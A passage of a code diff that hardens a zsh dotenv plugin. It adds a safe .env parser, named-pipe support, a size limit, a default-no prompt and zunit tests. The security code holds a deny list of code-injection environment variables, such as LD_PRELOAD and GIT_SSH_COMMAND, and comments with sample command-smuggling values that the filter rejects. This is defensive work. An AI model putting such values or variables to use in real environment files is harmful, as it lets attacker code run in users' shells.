+Multi-line values are supported using quoted strings:
+
+```sh
+PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEA...
+-----END RSA PRIVATE KEY-----"
+```
+
+Variables defined earlier in the file can be referenced by later entries:
+
+```sh
+BASE_URL=https://example.com
+API_URL=$BASE_URL/api
+ASSETS_URL=${BASE_URL}/assets
+```
+
+Note: only variables defined within the same `.env` file are expanded this way —
+shell environment variables that already exist are **not** substituted.
+
 ## Settings
 
 ### ZSH_DOTENV_FILE
@@ -78,13 +97,45 @@ change.
 NOTE: if a directory is found in both the allowed and disallowed lists, the disallowed list
 takes preference, _i.e._ the .env file will never be sourced.
 
+## Named Pipe (FIFO) Support
+
+The plugin supports `.env` files provided as UNIX named pipes (FIFOs) in addition to regular files.
+This is useful when secrets managers like [1Password Environments](https://developer.1password.com/docs/environment/)
+mount `.env` files as named pipes to inject secrets on-the-fly without writing them to disk.
+
+No additional configuration is required — the plugin automatically detects and sources named pipes.
+
+## Tests
+
+The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run:
+
+```sh
+cd plugins/dotenv && zunit
+```
+
+> [NOTE!]
+> zunit also requires installing [Revolver](https://github.com/molovo/revolver).
+
 ## Version Control
 
 **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
 
-## Disclaimer
+## Security
 
-This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job.
+The plugin applies several best-effort safeguards when loading a `.env` file:
+
+- **Size limit** — files larger than 10 MiB are rejected to prevent DoS.
+- **Syntax check** — the file is validated with `zsh -fn` before any variables are set.
+- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped.
+- **Forbidden variables** — the following variables are never overwritten, regardless of what the
+  `.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`,
+  `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`,
+  `GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`,
+  `GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special
+  parameters.
+
+These measures are **best-effort** — you are still responsible for the content of your `.env`
+file. Do not use this plugin as a security boundary.
 
 If you need more advanced and feature-rich ENV management, check out these awesome projects:
 

plugins/dotenv/dotenv.plugin.zsh

@@ -7,11 +7,273 @@
 : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
 : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
 
-
 ## Functions
 
+_parse_dotenv_content() {
+  setopt localoptions extendedglob
+
+  local content="$1"
+  local mode="${2:-export}"
+
+  # Validate mode argument
+  case "$mode" in
+    export|test) ;;
+    *)
+      echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
+      return 1
+      ;;
+  esac
+
+  local node line key value
+  local raw_value expanded prefix remainder var_name escaped_dollar_placeholder
+  local sq dq uq safe
+  local -A parsed_vars
+  local -a nodes lines
+
+  # Parse into command lines separated by `;`, with built-in support for multi-line commands.
+  # (Z:C:) ignores comments and preserves quotes and escapes.
+  #
+  # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
+  # by joining all elements between ';'.
+  #
+  # Example input:
+  #   VAR1=value1; VAR2=value2
+  #   VAR3="multi
+  #   line value"
+  # Result:
+  #   typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
+  #   typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
+  #
+  nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
+  for node in "${nodes[@]}"; do
+    if [[ "$node" == ";" ]]; then
+      if [[ -n "$line" ]]; then
+        lines+=("$line")
+        line=""
+      fi
+      continue
+    fi
+
+    [[ -z "$line" ]] || line+=" "
+    line+="$node"
+  done
+
+  local -a forbidden_vars=(
+    NODE_OPTIONS
+    BASH_ENV
+    ENV
+    ZDOTDIR
+    ZSH
+    LD_PRELOAD
+    LD_LIBRARY_PATH
+    DYLD_INSERT_LIBRARIES
+    GIT_CONFIG_GLOBAL
+    GIT_DIR
+    GIT_EDITOR
+    GIT_EXTERNAL_DIFF
+    GIT_EXEC_PATH
+    GIT_PAGER
+    GIT_SSH
+    GIT_SSH_COMMAND
+    GIT_SSL_NO_VERIFY
+    GIT_TEMPLATE_DIR
+    VISUAL
+    PAGER
+    EDITOR
+    ${(k)parameters[(R)*export*special]}
+  )
+  local forbidden="${(j:|:)forbidden_vars}"
+
+
+  # Each line contains a single command line, we need to parse valid KEY=VALUE pairs
+  for line in "${lines[@]}"; do
+    # Strip leading 'export ' keyword
+    line="${line#export[ 	]}"
+
+    # Match KEY=VALUE pattern
+    # "A name may be any sequence of alphanumeric characters and underscores"
+    # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
+    if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
+      continue
+    fi
+
+    key="${match[1]}"
+    value="${match[2]}"
+    raw_value="$value"
+
+    # Filter out variables to be ignored for security reasons (best effort)
+    if [[ "$key" == (${~forbidden}) ]]; then
+      continue
+    fi
+
+    # Use tokenization to split value with native shell parsing (handles quotes and escapes)
+    # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
+    local -a words
+    words=("${(@z)value}")
+    if [[ ${#words} -ne 1 ]]; then
+      continue
+    fi
+
+    ## START: FILTER COMMAND EXPANSION
+    #
+    # Filter lines with command expansion not in safe contexts
+    #
+    # READER'S NOTE: this is actually a "best effort" check (works in tests), but
+    # only to prevent setting variables with command substitution. The actual effect
+    # of setting them would not be a vulnerability, because we use `typeset name=value`
+    # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
+    #
+    # What does this mean? If we were to remove this filter block, this is what would happen:
+    #
+    # Input: DANGEROUS=$(echo this is a command)
+    # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
+    #
+    # Check for potential command substitution outside of safe contexts
+    # - single-quoted strings: command substitution is literal there
+    sq="'[^']#'"
+    # - double-quoted strings, but NOT unescaped ` or $(
+    dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
+    # - unquoted text, but NOT unescaped ` or $(
+    uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
+    safe="(${sq}|${dq}|${uq})#"
+    # Remove the longest safe prefix; what remains starts at first unsafe construct
+    remainder="${value##${~safe}}"
+
+    if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
+      continue
+    fi
+    ## END: FILTER COMMAND EXPANSION
+
+    # Single-quoted values are fully literal and must not participate in expansion.
+    if [[ "$raw_value" == \'*\' ]]; then
+      value="${(Q)value}"
+      parsed_vars[$key]="$value"
+      if [[ "$mode" == "export" ]]; then
+        typeset -x "$key"="$value"
+      fi
+      continue
+    fi
+
+    # Preserve escaped dollars so they remain literal after unquoting.
+    escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001'
+    value="${value//\\\$/$escaped_dollar_placeholder}"
+
+    # Unquote the value to handle special characters and multiline values.
+    value="${(Q)value}"
+
+    # Expand previously parsed in-file variables without partial name matches.
+    expanded=""
+    prefix=""
+    remainder="$value"
+    var_name=""
+    while [[ "$remainder" == *'$'* ]]; do
+      prefix="${remainder%%\$*}"
+      expanded+="$prefix"
+      remainder="${remainder#$prefix}"
+
+      if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then
+        var_name="${match[1]}"
+        remainder="${match[2]}"
+      elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then
+        var_name="${match[1]}"
+        remainder="${match[2]}"
+      else
+        expanded+='$'
+        remainder="${remainder#?}"
+        continue
+      fi
+
+      if [[ -v "parsed_vars[$var_name]" ]]; then
+        expanded+="${parsed_vars[$var_name]}"
+      fi
+    done
+    value="${expanded}${remainder}"
+    value="${value//$escaped_dollar_placeholder/\$}"
+
+    # Store in parsed vars (for in-file expansion)
+    parsed_vars[$key]="$value"
+
+    # Normal mode: export the variable
+    if [[ "$mode" == "export" ]]; then
+      typeset -x "$key"="$value"
+    fi
+  done
+
+  # In test mode, set DOTENV_TEST_VARS
+  typeset -gA DOTENV_TEST_VARS
+  DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
+}
+
+parse_dotenv() {
+  local filename="$1"
+  local mode="${2:-export}"
+  local content
+
+  # Fail if file is too large to avoid DoS
+  zmodload -F zsh/stat b:zstat
+  local -i file_size max_size=10485760  # 10MiB
+  if ! file_size=$(zstat +size "$filename" 2>/dev/null); then
+    echo "dotenv: unable to determine size of file '$filename'" >&2
+    return 1
+  fi
+
+  if (( file_size > max_size )); then
+    echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2
+    return 1
+  fi
+
+  content="$(<"$filename")" || return 1
+  _parse_dotenv_content "$content" "$mode"
+}
+
+_dotenv_read_limited() {
+  local filename="$1"
+  local chunk content=""
+  local -i max_size=10485760 total=0 read_size=0 fd read_status
+
+  zmodload zsh/system || return 1
+  exec {fd}<"$filename" || return 1
+
+  while true; do
+    sysread -i $fd -s 65536 -c read_size chunk
+    read_status=$?
+
+    if (( read_status == 5 )); then
+      break
+    elif (( read_status != 0 )); then
+      exec {fd}<&-
+      return 1
+    fi
+
+    (( total += read_size ))
+    if (( total > max_size )); then
+      exec {fd}<&-
+      echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2
+      return 1
+    fi
+
+    content+="$chunk"
+  done
+
+  exec {fd}<&-
+  REPLY="$content"
+}
+
+_dotenv_check_syntax() {
+  local filename="$1"
+
+  if (( $# == 2 )); then
+    printf '%s' "$2" | zsh -fn /dev/stdin
+  else
+    zsh -fn -- "$filename"
+  fi || {
+    echo "dotenv: error when sourcing '$filename' file" >&2
+    return 1
+  }
+}
+
 source_env() {
-  if [[ ! -f "$ZSH_DOTENV_FILE" ]]; then
+  if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
     return
   fi
 
@@ -37,28 +299,35 @@ source_env() {
       [[ $column -eq 1 ]] || echo
 
       # print same-line prompt and output newline character if necessary
-      echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) "
+      echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) "
       read -k 1 confirmation
       [[ "$confirmation" = $'\n' ]] || echo
 
       # check input
       case "$confirmation" in
-        [nN]) return ;;
+        [yY]) ;;
         [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
         [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
-        *) ;; # interpret anything else as a yes
+        *) return ;; # interpret anything else as a no
       esac
     fi
   fi
 
-  # test .env syntax
+  local content
-  zsh -fn $ZSH_DOTENV_FILE || {
+  if [[ -p "$ZSH_DOTENV_FILE" ]]; then
-    echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2
+    _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1
-    return 1
+    content="$REPLY"
-  }
+    _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1
+
+    setopt localoptions allexport
+    _parse_dotenv_content "$content"
+    return
+  fi
+
+  _dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1
 
   setopt localoptions allexport
-  source $ZSH_DOTENV_FILE
+  parse_dotenv "$ZSH_DOTENV_FILE"
 }
 
 autoload -U add-zsh-hook

plugins/dotenv/tests/_output/.gitignore

@@ -0,0 +1,2 @@
+*
+!.gitignore

plugins/dotenv/tests/_support/bootstrap

@@ -0,0 +1,139 @@
+#!/usr/bin/env zsh
+# Bootstrap script for dotenv plugin tests
+# This is sourced before any tests run and provides shared utilities
+
+# Load the dotenv plugin
+source "$PWD/dotenv.plugin.zsh"
+ZSH_DOTENV_PROMPT=false
+ZSH_DOTENV_FILE=/dev/null
+
+# Helper: Parse dotenv file in test mode
+_parse_dotenv_test() {
+  parse_dotenv "$1" "test"
+}
+
+# Helper: Parse dotenv file in export mode
+_parse_dotenv_export() {
+  unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
+
+  parse_dotenv "$1" "test"
+
+  for key in "${(k)DOTENV_TEST_VARS}"; do
+    typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
+  done
+}
+
+# Helper: Run parse_dotenv suppressing stderr
+_parse_dotenv_quiet() {
+  parse_dotenv "$@" 2>/dev/null
+}
+
+# Helper: Create a temporary test fixture
+_create_temp_fixture() {
+  local fixture
+  fixture==(:)  # Create temp file
+  echo "$fixture"
+}
+
+_write_temp_fixture() {
+  local fixture="$1"
+  > "$fixture"
+}
+
+
+# Helper: Source file with allexport and capture variables
+# Usage: _source_with_allexport "file.env"
+# Result is in DOTENV_SOURCE_VARS associative array
+_source_with_allexport() {
+  local filename="$1"
+
+  # Source with allexport in a subshell with no exported variables
+
+  # The return and capture of the exported variables is a bit of a pain:
+  # 1. We first store the key=value pairs in $vars associative array, which is
+  #    defined before allexport is set to avoid appearing in results.
+  # 2. Afterwards, we join all keys and values of the associative with null delimiters. With 
+  #    "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
+  #    we join them with nulls.
+  # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
+  #    empty values, and then uses it to populate an associative array.
+  # Don't try to understand this or change it unless you have to. Debugging is a nightmare.
+  typeset -gA DOTENV_SOURCE_VARS
+  DOTENV_SOURCE_VARS=("${(@0)"$(
+    local -A vars
+
+    # Clear all exports first
+    zmodload zsh/parameter
+    unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
+
+    # Source file with allexport
+    setopt localoptions allexport
+    source "$filename"
+
+    # Set all exported variables into an associative array
+    for key in ${(k)parameters[(R)*export*]}; do
+      vars[$key]="${(P)key}"
+    done
+
+    print -rn -- "${(@kvpj:\0:)vars}"
+  )"}")
+}
+
+
+## ZUnit assertion helpers
+
+_zunit_assert_function_exists() {
+  [[ "${+functions[$1]}" -eq 1 ]] && return 0
+  echo "Function '$1' does not exist"
+  exit 1
+}
+
+_zunit_assert_var_same_as() {
+  local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
+  if [[ $tvalue != $tcomp ]]; then
+    echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
+    exit 78
+  fi
+
+  # Special case for associative arrays
+  if [[ ${(Pt)1} == "association" ]]; then
+    local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
+    local -aU keys=("${(@k)value}" "${(@k)comparison}")
+
+    local ret=0 key
+    for key in "${keys[@]}"; do
+      # Key match checks
+      if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is set (value='${value[$key]}')"
+        ret=1
+      elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
+        ret=1
+      # Value match checks
+      elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
+        echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
+        ret=1
+      fi
+    done
+
+    exit $ret
+  fi
+
+  # Generic case
+  local value="${(P)1}" comparison="${(P)2}"
+  [[ "$value" != "$comparison" ]] || exit 0
+  echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
+  exit 1
+}
+
+_zunit_assert_var_is_set() {
+  [[ -v "$1" ]] && return 0
+  echo "Variable '$1' is not set"
+  exit 1
+}
+
+_zunit_assert_var_is_not_set() {
+  [[ ! -v "$1" ]] && return 0
+  echo "Variable '$1' is set"
+  exit 1
+}

plugins/dotenv/tests/_support/fixtures/dotenvjs.env

@@ -0,0 +1,88 @@
+# Consolidated dotenv test fixture from dotenv test suite
+# Source: https://github.com/motdotla/dotenv/tree/master/tests
+#
+# Copyright (c) 2015, Scott Motte
+# All rights reserved.
+
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+
+# * Redistributions of source code must retain the above copyright notice, this
+#   list of conditions and the following disclaimer.
+
+# * Redistributions in binary form must reproduce the above copyright notice,
+#   this list of conditions and the following disclaimer in the documentation
+#   and/or other materials provided with the distribution.
+
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
+
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"

plugins/dotenv/tests/_support/fixtures/features.env

@@ -0,0 +1,23 @@
+# Export syntax
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+
+# Testing multiline quoting edge cases
+MULTILINE_UNQUOTED=This\ is\ a\ \
+multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
+MULTILINE_DOUBLE_QUOTED="This is a \
+multiline value that should be treated as a single line with an actual newline character"
+MULTILINE_SINGLE_QUOTED='This is a \
+multiline value that should be treated as a single line with a literal backslash and newline'
+MULTILINE_MIXED_QUOTES="This is a \
+multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
+
+# Test for regressions
+DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
+VAR_WITH_SEMICOLONS="value ; with ; semicolons"

plugins/dotenv/tests/basic-parsing.zunit

@@ -0,0 +1,398 @@
+#!/usr/bin/env zunit
+
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'dotenv plugin loads successfully' {
+  assert "parse_dotenv" function_exists
+  assert "source_env" function_exists
+}
+
+@test 'parse returns error for unsupported mode' {
+  run _parse_dotenv_quiet "/dev/null" "export"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "test"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "invalid_mode"
+  assert $state equals 1
+}
+
+@test 'parse returns error for oversized file (> 10MiB)' {
+  command truncate -s 11M "$fixture" 2>/dev/null
+
+  run _parse_dotenv_quiet "$fixture" "test"
+  assert $state equals 1
+}
+
+@test 'parse returns error for non-existent file' {
+  run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
+  assert $state equals 1
+}
+
+@test 'source_env loads named pipes without blocking' {
+  local tmpdir fifo output result
+  local child_pid writer_pid killer_pid child_rc
+
+  tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
+  fifo="$tmpdir/.env"
+  output="$tmpdir/output"
+  command mkfifo "$fifo"
+
+  (
+    print -r -- 'TOKEN=secret' > "$fifo"
+  ) &
+  writer_pid=$!
+
+  (
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env
+    print -r -- "${TOKEN-<unset>}" > "$output"
+  ) &
+  child_pid=$!
+
+  (
+    sleep 2
+    kill -0 $child_pid 2>/dev/null || exit 0
+    kill $child_pid 2>/dev/null || exit 0
+  ) &
+  killer_pid=$!
+
+  wait $child_pid
+  child_rc=$?
+
+  kill $killer_pid 2>/dev/null || true
+  kill $writer_pid 2>/dev/null || true
+  wait $writer_pid 2>/dev/null || true
+
+  [[ -f "$output" ]] && result="$(<"$output")"
+  command rm -rf "$tmpdir"
+
+  assert $child_rc equals 0
+  assert "$result" equals 'secret'
+}
+
+@test 'source_env rejects oversized named pipes' {
+  run zsh -fc '
+    source ./dotenv.plugin.zsh
+
+    tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
+    fifo="$tmpdir/.env"
+    command mkfifo "$fifo" || exit 1
+
+    cleanup() {
+      kill $killer_pid 2>/dev/null || true
+      kill $writer_pid 2>/dev/null || true
+      wait $writer_pid 2>/dev/null || true
+      command rm -rf "$tmpdir"
+    }
+    trap cleanup EXIT
+
+    (
+      {
+        print -rn -- "BIG="
+        command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
+      } > "$fifo"
+    ) &
+    writer_pid=$!
+
+    (
+      sleep 2
+      kill -0 $$ 2>/dev/null || exit 0
+      kill $$ 2>/dev/null || exit 0
+    ) &
+    killer_pid=$!
+
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env >/dev/null 2>&1
+  '
+
+  assert $state equals 1
+}
+
+@test 'parse basic variable assignment' {
+  > "$fixture" <<'EOF'
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+EOF
+
+  expected_vars=(
+    BASIC 'basic'
+    AFTER_LINE 'after_line'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse empty values' {
+  > "$fixture" <<'EOF'
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+EOF
+
+  expected_vars=(
+    EMPTY ''
+    EMPTY_SINGLE_QUOTES ''
+    EMPTY_DOUBLE_QUOTES ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse single quoted values' {
+  > "$fixture" <<'EOF'
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+EOF
+
+  expected_vars=(
+    SINGLE_QUOTES 'single_quotes'
+    SINGLE_QUOTES_SPACED '    single quotes    '
+    DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse double quoted values' {
+  > "$fixture" <<'EOF'
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES 'double_quotes'
+    DOUBLE_QUOTES_SPACED '    double quotes    '
+    EXPAND_NEWLINES "expand\nnew\nlines"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse unquoted values' {
+  > "$fixture" <<'EOF'
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
+EOF
+
+
+  expected_vars=(
+    DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse quotes inside quotes' {
+  > "$fixture" <<'EOF'
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
+    SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse inline comments' {
+  > "$fixture" <<'EOF'
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+EOF
+
+  expected_vars=(
+    INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
+    INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
+    INLINE_COMMENTS_UNQUOTED 'value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse ignores non-assignment commands with assignment-looking arguments' {
+  > "$fixture" <<'EOF'
+print SHOULD_NOT_PARSE=value
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse special characters' {
+  > "$fixture" <<'EOF'
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+EOF
+
+  expected_vars=(
+    EQUAL_SIGNS 'equals=='
+    RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
+    USEREMAIL 'therealnerdybeast@example.tld'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse multiline values with mixed quotes' {
+  > "$fixture" <<'EOF'
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
